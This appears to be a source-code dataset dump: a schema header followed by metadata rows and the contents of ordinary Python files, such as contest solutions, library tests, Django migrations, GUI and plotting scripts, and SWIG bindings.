blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
777 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
gha_language
stringclasses
149 values
src_encoding
stringclasses
26 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
3
10.2M
extension
stringclasses
188 values
content
stringlengths
3
10.2M
authors
listlengths
1
1
author_id
stringlengths
1
132
a10ee01a362b58ba412f342306b973b06d970f6e
27e18001bd40f6fe5b9f675130e359147ce3519a
/6_new.py
936df46dcbdf08994dfeb8336bdb4e3656c3f653
[]
no_license
jsomers/project-euler
6934a5d4eb2c116b08face308a010ddb74e0c123
61cc4cd7978deeed9d071f678c786f991e05d8a7
refs/heads/master
2021-01-01T05:39:39.568380
2014-08-21T04:05:10
2014-08-21T04:05:10
10,680,061
4
2
null
null
null
null
UTF-8
Python
false
false
195
py
# Find the difference between the sum of the squares of the first one hundred natural numbers and the square of the sum. print abs(sum([n ** 2 for n in range(1, 101)]) - sum(range(1, 101)) ** 2)
[ "jsomers@gmail.com" ]
jsomers@gmail.com
cc81acf8488b435b9d734ab2d59a92a548f10506
d93fe0484fc3b32c8fd9b33cc66cfd636a148ec4
/AtCoder/diverta2/probB.py
c411fbc5ebeedd84ebac25443fcf3e2e2ee760b5
[]
no_license
wattaihei/ProgrammingContest
0d34f42f60fa6693e04c933c978527ffaddceda7
c26de8d42790651aaee56df0956e0b206d1cceb4
refs/heads/master
2023-04-22T19:43:43.394907
2021-05-02T13:05:21
2021-05-02T13:05:21
264,400,706
0
0
null
null
null
null
UTF-8
Python
false
false
977
py
from operator import itemgetter import numpy as np import scipy.stats as stats N = int(input()) xy = [list(map(int, input().split())) for _ in range(N)] xy = sorted(xy, key=itemgetter(1)) xy = sorted(xy, key=itemgetter(0)) print(xy) xy_a = np.array(xy) x1 = xy_a[:, 0] x2 = xy_a[:, 1] def calc_mode(xi): dl_a =...
[ "wattaihei.rapyuta@gmail.com" ]
wattaihei.rapyuta@gmail.com
6f3964bde48bab7b7df6669392c64b4f61b28b9a
bb1d191123fc62504d048a80aec8e68000b98350
/objectModel/Python/tests/cdm/projection/attribute_context_util.py
f6f4091ba5b0f0f9dad9000ae951fb3974926195
[ "MIT", "CC-BY-4.0" ]
permissive
SophieBok/CDM
abb7800add80a8962f8ae5e83f64742285dc0cec
d8df31fa455fcc6afd698e3ca7ec0f8c4a6716fd
refs/heads/master
2023-06-28T08:18:55.025410
2021-07-29T22:17:49
2021-07-29T22:17:49
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,977
py
# Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. import os from typing import cast from unittest import TestCase from cdm.enums import CdmObjectType from cdm.objectmodel import CdmEntityDefinition, CdmAttributeCo...
[ "cdm-publisher@outlook.com" ]
cdm-publisher@outlook.com
01a51587d08e7eee45b2ac648941684c741f4abd
8eab8ab725c2132bb8d090cdb2d23a5f71945249
/virt/Lib/site-packages/jupyter_client/ioloop/restarter.py
54f96af8d53a14c53abb5436c8a59c9e7b61c8f9
[ "MIT" ]
permissive
JoaoSevergnini/metalpy
6c88a413a82bc25edd9308b8490a76fae8dd76ca
c2d0098a309b6ce8c756ff840bfb53fb291747b6
refs/heads/main
2023-04-18T17:25:26.474485
2022-09-18T20:44:45
2022-09-18T20:44:45
474,773,752
3
1
MIT
2022-11-03T20:07:50
2022-03-27T22:21:01
Python
UTF-8
Python
false
false
3,905
py
"""A basic in process kernel monitor with autorestarting. This watches a kernel's state using KernelManager.is_alive and auto restarts the kernel if it dies. """ # Copyright (c) Jupyter Development Team. # Distributed under the terms of the Modified BSD License. import asyncio import time import warnings from traitle...
[ "joao.a.severgnini@gmail.com" ]
joao.a.severgnini@gmail.com
575cb1cf957072ba826538b7dd9c63ee6fb7e01c
a3b306df800059a5b74975793251a28b8a5f49c7
/Graphs/LX-2/molecule_otsu = False/BioImageXD-1.0/ITK/lib/InsightToolkit/WrapITK/lib/itkGrayscaleGeodesicErodeImageFilterPython.py
c2652b7b388c27b79a2ef639a655c955d21f1ebf
[]
no_license
giacomo21/Image-analysis
dc17ba2b6eb53f48963fad931568576fda4e1349
ea8bafa073de5090bd8f83fb4f5ca16669d0211f
refs/heads/master
2016-09-06T21:42:13.530256
2013-07-22T09:35:56
2013-07-22T09:35:56
11,384,784
1
1
null
null
null
null
UTF-8
Python
false
false
104,936
py
# This file was automatically generated by SWIG (http://www.swig.org). # Version 1.3.40 # # Do not make changes to this file unless you know what you are doing--modify # the SWIG interface file instead. from sys import version_info if version_info >= (3,0,0): new_instancemethod = lambda func, inst, cls: _itkGraysc...
[ "fede.anne95@hotmail.it" ]
fede.anne95@hotmail.it
7765ceccb21016a4bb1507aef9301ffcf28ddf22
9d123c6b87b0baf80a6fce070023e19d68048b90
/slothql/utils/laziness.py
1a0de52539dcd75a2ec5e2830f3abfe6a44fd19b
[ "MIT" ]
permissive
IndioInc/slothql
ea4da3727cb974360eeb3b38517ead4328687e81
64a574013e249968746044555bd8779ac353b13f
refs/heads/master
2021-05-08T11:07:34.420797
2018-04-14T02:08:55
2018-04-14T02:08:55
119,881,523
2
0
MIT
2018-04-15T01:31:10
2018-02-01T19:16:50
Python
UTF-8
Python
false
false
1,160
py
lazy_proxy_attrs = ['_LazyInitProxy' + i for i in ('__obj', '__new', '__cls', '__args', '__kwargs', '__lazy_init')] class LazyInitProxy: def __init__(self, new, cls, *args, **kwargs): self.__obj = None self.__new = new self.__cls = cls self.__args = args self.__kwargs = kwa...
[ "karol.gruszczyk@gmail.com" ]
karol.gruszczyk@gmail.com
c6924b59c81ca5e1180e6818f3e2b742947490af
c50e7eb190802d7849c0d0cea02fb4d2f0021777
/src/spring-cloud/azext_spring_cloud/__init__.py
f1f6829e24f83bb03b037a169d016f4c6295b128
[ "LicenseRef-scancode-generic-cla", "MIT" ]
permissive
Azure/azure-cli-extensions
c1615b19930bba7166c282918f166cd40ff6609c
b8c2cf97e991adf0c0a207d810316b8f4686dc29
refs/heads/main
2023-08-24T12:40:15.528432
2023-08-24T09:17:25
2023-08-24T09:17:25
106,580,024
336
1,226
MIT
2023-09-14T10:48:57
2017-10-11T16:27:31
Python
UTF-8
Python
false
false
1,614
py
# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # --------------------------------------------------------------------...
[ "noreply@github.com" ]
Azure.noreply@github.com
b4f41e346a2e0f2d1bf35e88c2200ed5ccc16184
dd221d1ab80a49190a0c93277e2471debaa2db95
/hanlp/components/lm/__init__.py
1563904cff0a8f5467f6b6adcf545d7cba2fd94e
[ "Apache-2.0", "CC-BY-NC-SA-4.0" ]
permissive
hankcs/HanLP
29a22d4e240617e4dc67929c2f9760a822402cf7
be2f04905a12990a527417bd47b79b851874a201
refs/heads/doc-zh
2023-08-18T12:48:43.533453
2020-02-15T17:19:28
2023-03-14T02:46:03
24,976,755
32,454
9,770
Apache-2.0
2023-08-13T03:11:39
2014-10-09T06:36:16
Python
UTF-8
Python
false
false
65
py
# -*- coding:utf-8 -*- # Author: hankcs # Date: 2022-01-29 21:07
[ "jfservice@126.com" ]
jfservice@126.com
20e79c2fadd832d61fd5bea20ef637c8f7e01edc
53e4a89e8baeb715f10b33304be028e906e58583
/practice.py
d434fefa456bfbb3d8eb507660a7137ff77e4ce5
[]
no_license
eodnjs467/python
9a9cf2c82a6c64d839c4de4bc38fe3df14f11f5d
67b2a770526f4c4161bcf06042eea3054a30b3fc
refs/heads/master
2020-09-30T20:33:51.627921
2020-04-12T15:13:47
2020-04-12T15:13:47
227,368,131
0
0
null
null
null
null
UTF-8
Python
false
false
806
py
import itertools def solution(M, load): a=[] count = 0 M = input("트럭에 실을 수 있는 최대 무게를 설정해주세요.") if M>40: print("40이하로 입력하세요") load = input("[1,2,3,4,5,6] 처럼 입력하세요 최대 12개 ") for index in range(len(load)): if load[index] > 12: print("12이하로 설정하세요") count = count+1...
[ "sponjjanc@naver.com" ]
sponjjanc@naver.com
48dafa5e87dcad260228db02752c101b9cd39502
eae6dddca9285702c4c7ed6ba6bdaceef9631df2
/CCC-2018/Senior/Senior-1/S1.py
a7e1fce447c03ec8b63cb22e911da9b2757d0261
[]
no_license
simrit1/CCC-Solutions-2
7823ce14801c4219f6f1dd4c42fb013c2dfc45dd
ee2883aa38f933e526ce187d50ca68763876cb58
refs/heads/master
2023-07-04T02:19:37.320261
2021-08-07T22:12:36
2021-08-07T22:12:36
null
0
0
null
null
null
null
UTF-8
Python
false
false
710
py
# CCC 2018 Senior 1: Voronoi Villages # # Author: Charles Chen # # Arrays and calculations # Initialize variables min_size = 20000000000 size_left = 0 size_right = 0 total_size = 0 # Input points = [] num_villages = int(input()) for i in range(num_villages): points.append(int(input())) # Sort t...
[ "noreply@github.com" ]
simrit1.noreply@github.com
f1997085668d1db3776b1d54457a43aacfbba33c
3cb0f57347d06d976ae49812fa383e8845475c62
/WebServices/trunk/setup.py
0774bdab90c2feba99bbb78d8f7ceb7a7f8dc7e6
[]
no_license
UfSoft/ISPManCCP-V2
9aa99731e54c39fd05ed5cf969e2e3dcbd444f7e
1521cea43254d017129b07c07266a0e3bfd64ab1
refs/heads/master
2021-01-10T20:26:42.282246
2008-05-10T15:13:56
2008-05-10T15:13:56
26,618,633
0
0
null
null
null
null
UTF-8
Python
false
false
637
py
#!/usr/bin/env python from setuptools import setup, find_packages setup( name='ISPManWebServices', version='0.1', description='WebServices backend to ISPMan', author='Pedro Algarvio', author_email='ufs@ufsoft.org', # url='', install_requires=["Pylons>=0.9.6.1"], packages=find_packages(e...
[ "ufs@ufsoft.org" ]
ufs@ufsoft.org
9f5d1f6f7e14b928ee57ce640f3ef14235c95b2f
339dbd84a793588d7c278e2c68c08fff6cdd7b5a
/ImuData/ImuPreProcess.py
25817f3b675e881527a31405d7b2a963fa14e676
[]
no_license
wystephen/LightPythonProject
3a7f2b31f1d8a2da109bb6e0783dd996d2ffaa12
d2a356029a18ce428b3e33622f9ce1de3f8907c1
refs/heads/master
2021-04-27T03:57:09.016236
2018-04-03T02:51:37
2018-04-03T02:51:37
122,722,155
1
0
null
null
null
null
UTF-8
Python
false
false
1,429
py
# -*- coding:utf-8 -*- # carete by steve at 2018 / 03 / 03 13:44 import numpy as np import scipy as sp import matplotlib.pyplot as plt import re import time import datetime class imuread: def __init__(self, file_name='MT_07700791-003-000.csv'): self.file_name = file_name def load(self): f...
[ "551619855@qq.com" ]
551619855@qq.com
fed51cebf5fbf3c46d9c33bc71716accfdcaad96
53def173f44b9665d1194195577c50058c1f698a
/angstromctf/2020/misc/msd/solve.py
bbc29a69de3b8584e6a90560da9c5fc093b7af47
[]
no_license
blairsec/challenges
3558f2b7f6866718c4f1ad026d84b6651e31e7d0
928345a6175adf0e88017b28fe895bc924527853
refs/heads/master
2023-05-24T09:44:17.779099
2023-05-17T17:03:34
2023-05-17T17:03:34
184,929,220
17
6
null
2023-03-03T17:21:31
2019-05-04T18:12:01
JavaScript
UTF-8
Python
false
false
790
py
from PIL import Image im = Image.open("output.png") im2 = Image.open("breathe.jpg") width, height = im.size def decode(i, compare): i = list(str(i).zfill(len(str(compare)))) return i[0] s = "" for j in range(height): for i in range(width): data = [] for a, compare in zip(im.ge...
[ "github@kevinhiggs.com" ]
github@kevinhiggs.com
02392e079a451cabcac5107b47c21e5b66bc1c35
515e45025082ffbfda960635e31f99c4ca1aa7d8
/src/html5_parser/stdlib_etree.py
8fd1a4e10e7347e79a7c21a3e752c474e3806553
[ "Apache-2.0" ]
permissive
kovidgoyal/html5-parser
62a3e626cba563076c7503fafb2fd83c506c61dd
ef7d4af932293fa04c3ac78a77b7fb2f0ac2f26d
refs/heads/master
2023-05-30T09:44:52.629086
2023-04-12T05:07:46
2023-04-12T05:07:46
93,229,662
714
42
Apache-2.0
2021-07-26T13:23:04
2017-06-03T06:56:36
C
UTF-8
Python
false
false
1,525
py
#!/usr/bin/env python # vim:fileencoding=utf-8 # License: Apache 2.0 Copyright: 2017, Kovid Goyal <kovid at kovidgoyal.net> from __future__ import absolute_import, division, print_function, unicode_literals import sys from lxml.etree import _Comment if sys.version_info.major < 3: from xml.etree.cElementTree imp...
[ "kovid@kovidgoyal.net" ]
kovid@kovidgoyal.net
ebfcbcbff6b3fb9b314a7c1656013201ffc42fdc
b9a1f8a13db9878191ec38d7387f3296d00170b7
/beginner level 1/cmprstrings.py
84123162f56c85a97e1794209b8f17003b5fbaa7
[]
no_license
ramyasutraye/python--programming
7a114d10c93c8dfbfd2c4ffef480d09bb17417d0
e2550e1a6e2431f0c3cea1c20acb66ef4b8897a8
refs/heads/master
2020-04-12T02:10:16.551739
2018-05-01T09:20:30
2018-05-01T09:20:30
null
0
0
null
null
null
null
UTF-8
Python
false
false
94
py
u,v=raw_input().split() x=len(u) y=len(v) if x>y: print u elif x<y: print v else: print v
[ "noreply@github.com" ]
ramyasutraye.noreply@github.com
8202d586e8a0a42e46ec0f99eeaa08e3b64a791a
01ab44468c01151020031de57402a08c76d8efb6
/App/migrations/0006_tweets_time.py
0911cdd9a48f8b4b454465905453ad8dbfe208ad
[]
no_license
Chukslord1/Arctype_Tweets_Heatmap
33c46d8d7a7ac24d05e3cda7e6c7525111d05257
16e377dfc215be46786e17e4cf35e89a2b7f4395
refs/heads/main
2023-06-19T22:59:53.127630
2021-07-19T01:00:32
2021-07-19T01:00:32
376,182,168
0
0
null
null
null
null
UTF-8
Python
false
false
523
py
# Generated by Django 3.1.7 on 2021-06-16 03:31 import datetime from django.db import migrations, models from django.utils.timezone import utc class Migration(migrations.Migration): dependencies = [ ('App', '0005_auto_20210615_2339'), ] operations = [ migrations.AddField( mo...
[ "chukslord1@gmail.com" ]
chukslord1@gmail.com
8903f5552458a212377dedd24f393aca93c9b316
961d2a56c1f573edebb6d67b6d5874b10ce01791
/focusgroups/migrations/0002_auto_20160905_1705.py
98d6390d8dbec20b23e09963f1e037db8c19bd4a
[ "MIT" ]
permissive
CARocha/ciatEspecies
d7dbf4ba09e4c9255dc2eab2eaa905960d7e96c7
10777d9487dd3658388243c304dd640b476cb3e3
refs/heads/master
2020-04-06T07:11:40.607520
2016-09-06T19:29:19
2016-09-06T19:29:19
60,646,256
0
2
null
null
null
null
UTF-8
Python
false
false
773
py
# -*- coding: utf-8 -*- # Generated by Django 1.9.7 on 2016-09-05 17:05 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('focusgroups', '0001_initial'), ] operations = [ ...
[ "erickmurillo22@gmail.com" ]
erickmurillo22@gmail.com
985214f3ae0e8d102213d315bb2b7881b582a8f8
db14851d3eca5fd09277715c3a0558a5f5d5894c
/dot2svg.py
788a2be68d0f24d6c5511d6fe44e7a36cd4c5b5b
[]
no_license
marxin/script-misc
916c007308a9ea350ade256dde0a682349a964e4
06f5c418b8bc4e28d5e04e3cf475f680ed7781c3
refs/heads/master
2023-08-23T13:13:30.567072
2023-08-22T14:22:59
2023-08-22T14:22:59
10,321,279
8
1
null
2021-03-20T10:56:59
2013-05-27T19:33:40
C++
UTF-8
Python
false
false
174
py
#!/usr/bin/env python3 import glob import subprocess for f in sorted(glob.glob('*.dot')): print(f) subprocess.check_output(f'dot -Tsvg {f} -o {f}.svg', shell=True)
[ "mliska@suse.cz" ]
mliska@suse.cz
7c547c68f98a736486c122985b30d5e935e0a74a
0afd765c0a3c06e6c893782fc8bd9d5bd4eac20d
/synchronized_ppo_CartPole/ppo.py
1833d0999b1f725abd3b3573d428aea6112e227c
[]
no_license
chagmgang/synch_pysc2
fdcb2bbb36c81af6ac2c31183b02f26aee33d739
57ca1e533446b1ed61c4d3d432d47d293148b6be
refs/heads/master
2020-03-19T15:40:24.573995
2018-07-02T05:36:35
2018-07-02T05:36:35
136,680,870
0
0
null
null
null
null
UTF-8
Python
false
false
5,480
py
import tensorflow as tf import copy class PPOTrain: def __init__(self, Policy, Old_Policy, gamma=0.95, clip_value=0.2, c_1=1, c_2=0.01): """ :param Policy: :param Old_Policy: :param gamma: :param clip_value: :param c_1: parameter for value difference ...
[ "chagmgang@gmail.com" ]
chagmgang@gmail.com
e09eefe38c46144b260e759163fdbc18fd82f227
1b8fba01309da37f8d0ff408765c1d545fc588d6
/tests/modeling/test_nms.py
56bdfdf0b14eb53c31feaaf464bd4eee1bfa11fd
[ "Apache-2.0" ]
permissive
supriyar/d2go
9bd54bcb2704c91d7bf0d5fceab2ac4f23d59346
9dc1600b05ecf60fab556599b4c0bc6c32837449
refs/heads/main
2023-08-11T16:19:50.578547
2021-10-01T17:43:32
2021-10-01T17:44:49
413,646,825
0
0
Apache-2.0
2021-10-05T02:20:59
2021-10-05T02:20:58
null
UTF-8
Python
false
false
7,617
py
#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved import unittest import numpy as np import torch from detectron2.layers import nms as box_nms class TestNMS(unittest.TestCase): def test_nms_cpu(self): """Match unit test UtilsNMSTest.TestNMS in caffe2/...
[ "facebook-github-bot@users.noreply.github.com" ]
facebook-github-bot@users.noreply.github.com
b240df52da013a3ec90f10c7d57112e334cdfa2b
dc27978653e8b5538cfd30788446673bb1402ece
/other/new_fileup.py
d0ce24b9bd208f51d44ef7332a4430390e52e519
[]
no_license
yanislong/myPerformance
2cb54676ce4ba2f02f788d6640f7c108e3e91b3e
9027f44595bcb4f14d34152631c24be8ab92a93f
refs/heads/master
2021-06-23T22:42:07.705060
2021-04-09T03:10:20
2021-04-09T03:10:20
209,740,087
0
0
null
null
null
null
UTF-8
Python
false
false
14,590
py
# -*- coding: utf-8 -*- from PyQt5.QtCore import QThread, pyqtSignal from PyQt5.QtWidgets import QApplication, QMainWindow from PyQt5.QtWidgets import QApplication, QWidget, QPushButton, QMessageBox, QLineEdit, QLCDNumber, QDial, QSlider, QLabel, QFormLayout, QLineEdit, QTextEdit, QFileDialog, QProgressBar, QRadioButt...
[ "335916781@qq.com" ]
335916781@qq.com
6beb23d647745a308be0869da61a993aa0aff98b
ccf94dcb6b1500fcbbd56964ae8c4832a496b8b3
/python/baiduads-sdk-auto/test/test_get_hit_customer_policy_response_wrapper.py
00a7cf98be3ac3940848931d77db3651c4cc6030
[ "Apache-2.0" ]
permissive
baidu/baiduads-sdk
24c36b5cf3da9362ec5c8ecd417ff280421198ff
176363de5e8a4e98aaca039e4300703c3964c1c7
refs/heads/main
2023-06-08T15:40:24.787863
2023-05-20T03:40:51
2023-05-20T03:40:51
446,718,177
16
11
Apache-2.0
2023-06-02T05:19:40
2022-01-11T07:23:17
Python
UTF-8
Python
false
false
1,158
py
""" dev2 api schema 'dev2.baidu.com' api schema # noqa: E501 Generated by: https://openapi-generator.tech """ import sys import unittest import baiduads from baiduads.common.model.api_response_header import ApiResponseHeader from baiduads.shieldfunction.model.get_hit_customer_policy_response_wrapper_body ...
[ "tokimekiyxp@foxmail.com" ]
tokimekiyxp@foxmail.com
911ca58c9609243397f7590c354a1e147e710862
c4edcdff1a4ebe45e7198aaf65caf3a1f71053ab
/git_version/migrations/0001_initial.py
4d5f800ce654c259c96cf37e3a2aabd9f1291b5b
[]
no_license
FriskByBergen/friskby
5584cb2ea099e2c0fecd4762f56effc714fd06ee
7a444af87c23ffd6b638055e49ccd608efcd3ee6
refs/heads/master
2020-05-21T15:09:43.367245
2017-06-06T17:48:58
2017-06-06T17:48:58
45,236,960
3
10
null
2017-06-06T17:48:59
2015-10-30T07:58:33
Python
UTF-8
Python
false
false
809
py
# -*- coding: utf-8 -*- # Generated by Django 1.9.6 on 2016-05-30 05:41 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='GitVers...
[ "joakim.hove@gmail.com" ]
joakim.hove@gmail.com
022a476e7bc7b8adc80c0bfed5f3a6e1c0d3267d
4dc6bad17eb370d44f3c0f34b6bc9c9ea6c174ae
/app/api/tests/test_vendor.py
22031768d6191d71ea67014d98df28c9d731ab26
[ "BSD-3-Clause", "CC0-1.0", "MIT", "LicenseRef-scancode-public-domain" ]
permissive
snakrani/discovery
d9adafe2005e792fecd76cd765584ed15b49363d
99690f186a194cabef6a5d1ad18fca715be1e187
refs/heads/develop
2023-03-30T21:54:55.826631
2019-04-25T15:32:38
2019-04-25T15:32:38
183,462,643
0
0
NOASSERTION
2022-11-19T09:19:44
2019-04-25T15:34:16
Python
UTF-8
Python
false
false
14,836
py
from django.test import tag from test import cases as case from test import fixtures as data @tag('vendor') class VendorTest(case.APITestCase, metaclass = case.MetaAPISchema): fixtures = data.get_vendor_fixtures() schema = { 'object': { 'tags': ('vendor_object',), ...
[ "adrian@webb.sh" ]
adrian@webb.sh
a86d76d1dc046199d8b9687e4fd0dd3c904cc787
54d8a05e0238e96eb43e4893bacba024e490bf11
/python-projects/algo_and_ds/prime_factoras.py
bbf5b73c210c45398fd5235ff4e25e5c40b05128
[]
no_license
infinite-Joy/programming-languages
6ce05aa03afd7edeb0847c2cc952af72ad2db21e
0dd3fdb679a0052d6d274d19040eadd06ae69cf6
refs/heads/master
2023-05-29T10:34:44.075626
2022-07-18T13:53:02
2022-07-18T13:53:02
30,753,185
3
5
null
2023-05-22T21:54:46
2015-02-13T11:14:25
Jupyter Notebook
UTF-8
Python
false
false
707
py
# find the prime factors based on the geeks for geeks tut from math import sqrt def is_prime(n): if n == 1: return 1 if n == 2: return True if n == 3: return True if n % 2 == 0 or n % 3 == 0: return False for i in range(5, int(sqrt(n)), 6): if (n % i == 0) or (n % (i + 2) == 0): ...
[ "joydeepubuntu@gmail.com" ]
joydeepubuntu@gmail.com
b8688c90ac225fe9f656e6f7b494f754c01ab1bd
f02e654d5590a861804e3220ed76ba2192e1699b
/simulator/selectionmanager.py
9ad5c1ccfd532073cda2be6ad7e765cab0e059be
[ "BSD-3-Clause" ]
permissive
AmarNathH/software
73e2afd3affaf2c1595b406480edac8b8fb2fcac
e225810c7501250f48add43349a64f49450cc79f
refs/heads/master
2020-12-02T20:50:18.439874
2017-07-03T16:51:07
2017-07-03T16:51:07
96,219,939
1
0
null
null
null
null
UTF-8
Python
false
false
4,940
py
from direct.showbase.DirectObject import DirectObject from panda3d.core import KeyboardButton from panda3d.core import MouseButton from panda3d.core import NodePath from panda3d.core import Point3 from panda3d.core import Vec4 from mouseevent import MouseEventListener from selectionengine import SelectionEngine from...
[ "software@cuauv.org" ]
software@cuauv.org
bcc70fcaea7e68b2cda51f40ce9e39dcc644bcae
8f0b0ec0a0a2db00e2134b62a1515f0777d69060
/scripts/study_case/ID_4/test/utils/test_random.py
8fd3068976605ffd63ea7b8c208e9a7cd2274945
[ "Apache-2.0", "MIT" ]
permissive
Liang813/GRIST
2add5b4620c3d4207e7661eba20a79cfcb0022b5
544e843c5430abdd58138cdf1c79dcf240168a5f
refs/heads/main
2023-06-09T19:07:03.995094
2021-06-30T05:12:19
2021-06-30T05:12:19
429,016,034
0
0
Apache-2.0
2021-11-17T11:19:48
2021-11-17T11:19:47
null
UTF-8
Python
false
false
1,382
py
import torch import numpy as np from scripts.study_case.ID_4.torch_geometric.utils import ( erdos_renyi_graph, stochastic_blockmodel_graph, barabasi_albert_graph) def test_erdos_renyi_graph(): torch.manual_seed(1234) edge_index = erdos_renyi_graph(5, 0.2, directed=False) assert edge_index.tolist() == ...
[ "793679547@qq.com" ]
793679547@qq.com
b0140e72078c2d355dadca3442139240028b1641
d6d6e3bebfca91ae10d1a269ec7d060a6bf3c8cd
/RMB_Classify/__init__.py
f0fbf238946ec3f152a96441fbb9ccf096fb845b
[]
no_license
darrenzhang1007/PyTorch_From_Zero_To_One
a1bb939cafd546e4625b0df0123c0f86d2af6499
b94e1cca2e28fb22accd2eee859d13e9e7bc25f2
refs/heads/master
2022-10-17T03:53:42.388743
2020-06-11T07:54:33
2020-06-11T07:54:33
null
0
0
null
null
null
null
UTF-8
Python
false
false
174
py
# -*- coding: utf-8 -*- # @Time : 2020/5/4 14:45 # @Author : DarrenZhang # @FileName: __init__.py.py # @Software: PyCharm # @Blog :https://www.yuque.com/darrenzhang
[ "785320051@qq.com" ]
785320051@qq.com
258773d6ac98d1988fa1fd90ce30a4530468aaf3
4c229dfd4ee6ae16827bd6fe68c24ea33959e96c
/vision/env/lib/python3.6/shutil.py
594467567a4be3e98a0b6409136d84f514430afe
[]
no_license
ZhitongW/HackHarvard_ThinkTwice
93b303ece3fa3b27dc4d4775549a76dfc9542dde
09e486d2c477997e6628a71bf64e30f27c79e534
refs/heads/master
2021-07-23T11:48:31.696513
2017-10-22T13:00:40
2017-10-22T13:00:40
107,892,073
0
0
null
null
null
null
UTF-8
Python
false
false
44
py
/home/bill/anaconda3/lib/python3.6/shutil.py
[ "billchen99@gmail.com" ]
billchen99@gmail.com
a5af9cd5ddbb18383b2c22b44b4ed0f5d9cdca77
6032f996f989d521dbdee23ce6c1fbd778d8e964
/jmlr.py
87ea75f4ce9d22ca70562133cd6d120a1c6c2793
[ "MIT" ]
permissive
npow/qb
9af1c07afd10f6aad9dbcbdd9209c6fde0e4347f
044e623d2cbda96209fa1fdedffefa2208c98755
refs/heads/master
2020-05-26T15:41:13.864334
2019-05-26T16:47:07
2019-05-26T16:47:07
188,290,907
0
0
null
2019-05-23T19:02:23
2019-05-23T19:02:23
null
UTF-8
Python
false
false
20,948
py
""" This code produces the plots for our JMLR paper. It assumes you have an anaconda environment like in environment.yaml Some of this code is copy pasted from the code in qanta/ so that the plotting code can be run independently. We also include a command for downloading processed results which are non-trivial to repr...
[ "ski.rodriguez@gmail.com" ]
ski.rodriguez@gmail.com
0ff810f87dec6968c150deffc5bd0008632d5a6e
acb8e84e3b9c987fcab341f799f41d5a5ec4d587
/langs/2/fl-.py
ef7dfc762f6c821ddb71ce610308db6a2eab3b1e
[]
no_license
G4te-Keep3r/HowdyHackers
46bfad63eafe5ac515da363e1c75fa6f4b9bca32
fb6d391aaecb60ab5c4650d4ae2ddd599fd85db2
refs/heads/master
2020-08-01T12:08:10.782018
2016-11-13T20:45:50
2016-11-13T20:45:50
73,624,224
0
1
null
null
null
null
UTF-8
Python
false
false
486
py
import sys def printFunction(lineRemaining): if lineRemaining[0] == '"' and lineRemaining[-1] == '"': if len(lineRemaining) > 2: #data to print lineRemaining = lineRemaining[1:-1] print ' '.join(lineRemaining) else: print def main(fileName): with open(fileName) as f: for line in f: ...
[ "juliettaylorswift@gmail.com" ]
juliettaylorswift@gmail.com
4ad29ac4ba3daa690a2a466dcbd27d3b75c19d7e
6af16ba7bc508e8f57cd6188b894066a12636a44
/learn Python/global.py
804ba13c2cf17589b9a89e0e935700223c9aacce
[]
no_license
manhcuogntin4/Python-code
286a349a6a43481002fb38a208be60e0c5330987
ea155eb4f4c1d5181cd3f47ff983a85d13336d0b
refs/heads/master
2021-01-12T07:18:19.018881
2018-03-20T17:14:41
2018-03-20T17:14:41
76,940,621
0
0
null
null
null
null
UTF-8
Python
false
false
65
py
x=5 def setx(y): global x x=y print "x=", x setx(10) print x
[ "manhcuongeic@gmail.com" ]
manhcuongeic@gmail.com
04e8f3ab6547419999cee7969b5d8df80d311730
81f9ba9d4ddf45d865f5bc23d4c61de13476d64d
/irm/rand.py
dfea41fae06b988f881d8d9ad08ced07c7941c61
[]
no_license
ericmjonas/netmotifs
cad6e2baf12cb218e15e02e5e362ef0b609978c3
94e1df8895b6a4f2e45ab0e918b1eb3ed16fca99
refs/heads/master
2020-12-25T16:49:28.618393
2016-08-11T00:50:30
2016-08-11T00:50:30
10,423,525
5
1
null
null
null
null
UTF-8
Python
false
false
5,774
py
import numpy as np import scipy import scipy.misc from nose.tools import * #import pyximport; pyximport.install() #import fastrand def canonicalize_assignment_vector(x): """ Take in an assignment vector and redo the assignments such that the assignment values are monotonic from 0 to GRPMAX """ u =...
[ "jonas@ericjonas.com" ]
jonas@ericjonas.com
eb2b67ce66e8f42dc91b6c2311b8a6cb5304eac0
e3365bc8fa7da2753c248c2b8a5c5e16aef84d9f
/indices/nnn1833.py
0f29777cb79fd770bc3d16b40cf2f92fed7f53a7
[]
no_license
psdh/WhatsintheVector
e8aabacc054a88b4cb25303548980af9a10c12a8
a24168d068d9c69dc7a0fd13f606c080ae82e2a6
refs/heads/master
2021-01-25T10:34:22.651619
2015-09-23T11:54:06
2015-09-23T11:54:06
42,749,205
2
3
null
2015-09-23T11:54:07
2015-09-18T22:06:38
Python
UTF-8
Python
false
false
1,007
py
ii = [('RogePAV2.py', 5), ('RogePAV.py', 2), ('WilbRLW.py', 2), ('AubePRP2.py', 19), ('ShawHDE.py', 1), ('MartHSI2.py', 4), ('UnitAI.py', 1), ('KembFJ1.py', 1), ('WilbRLW5.py', 30), ('PettTHE.py', 3), ('MarrFDI3.py', 2), ('PeckJNG.py', 16), ('AubePRP.py', 5), ('AdamWEP.py', 1), ('FitzRNS3.py', 22), ('WilbRLW2.py', 1), ...
[ "varunwachaspati@gmail.com" ]
varunwachaspati@gmail.com
